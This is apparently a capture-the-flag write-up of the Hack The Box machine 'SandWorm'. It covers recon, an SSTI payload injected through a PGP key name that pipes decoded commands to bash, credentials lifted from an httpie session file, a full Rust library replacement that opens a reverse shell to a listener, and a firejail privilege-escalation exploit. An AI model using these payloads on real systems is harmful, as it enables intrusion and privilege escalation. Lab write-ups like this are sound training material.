SandWorm HTB Walkthrough

Introduction

In this walkthrough , I’m going to explain how I pwned this medium box . This is very interesting box . Let’s start 🙂

Recon

NMAP

In the Nmap scan we found that there are three ports open ( Port 22, 80, 443)

Basically SSH and HTTP and HTTPS

Adding IP

While visiting the IP we see that we have to add ssa.htb to our /etc/hosts file .

Foothold

Directory Enum

I found many interesting directories

Let’s start enumerating

I have tried many things after few research I found that it is vulnerable to SSTI.

First generate pgp keys

// First 
gpg --gen-key

Here username will be our SSTI payload 
// Second 
gpg --armor --export test@t.t
// Third 
echo "aa a" | gpg --clear-sign -u test@t.t

Now go to /guide and look at the verify signature section

Enter your public key and signed text

Now verify the signature

You can see our SSTI is successful .

Now lets enter our payload to get shell

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo $PAYLOAD_IN_B64 | base64 -d | bash').read() }}

After executing this we will get our cmd executed

User

Now we are atlas user , in ~/.config/httpie/sessions/localhost_5000 I found the creds for silentobserver

Now SSH as Silentobserver

Advertisement

//Creds
silentobserver:quietLiketheWind22

And read user.txt

Root

Root is pretty interesting 🙂

In the /opt repo I found intresting dir

After running pspy I found that /opt/crates/logger/src/lib.rs is running after every few min

I have done few research and found the solution

//Just put the below code in lib.rs

extern crate chrono;

use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};

pub fn log(user: &str, query: &str, justification: &str) {
    let now = Local::now();
    let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
    let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);

    let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
        Ok(file) => file,
        Err(e) => {
            println!("Error opening log file: {}", e);
            return;
        }
    };

    if let Err(e) = file.write_all(log_message.as_bytes()) {
        println!("Error writing to log file: {}", e);
    }
    let sock = TcpStream::connect("$IP:4444").unwrap();

    // a tcp socket as a raw file descriptor
    // a file descriptor is the number that uniquely identifies an open file in a computer's operating system
    // When a program asks to open a file/other resource (network socket, etc.) the kernel:
    //     1. Grants access
    //     2. Creates an entry in the global file table
    //     3. Provides the software with the location of that entry (file descriptor)
    // https://www.computerhope.com/jargon/f/file-descriptor.htm
    let fd = sock.as_raw_fd();
    // so basically, writing to a tcp socket is just like writing something to a file!
    // the main difference being that there is a client over the network reading the file at the same time!

    Command::new("/bin/bash")
        .arg("-i")
        .stdin(unsafe { Stdio::from_raw_fd(fd) })
        .stdout(unsafe { Stdio::from_raw_fd(fd) })
        .stderr(unsafe { Stdio::from_raw_fd(fd) })
        .spawn()
        .unwrap()
        .wait()
        .unwrap();
}

https://doc.rust-lang.org/std/process/struct.Command.html#method.new

Start the listner and you will get the shell

New group id is assigned to us 1002(jailer)

There is a firejail vulnerabilty

https://gist.github.com/GugSaas/9fb3e59b3226e8073b3f8692859f8d25

use this exploit.py and give it permission as silentobserver

Now get 2 shell of atlas user with jailer group assigned

// In first shell, RUN

python3 exploit.py

//In second shell, RUN

firejail --join=$ID    
su -

Make sure you upgrade the shell before this

Second shell

GG now you are root ! 🙂

Conclusion

This is very fun box ! Hope you enjoyed the writeup 🙂

Overall I would like to rate this box 8/10.

Jai Shree Krishna ❤️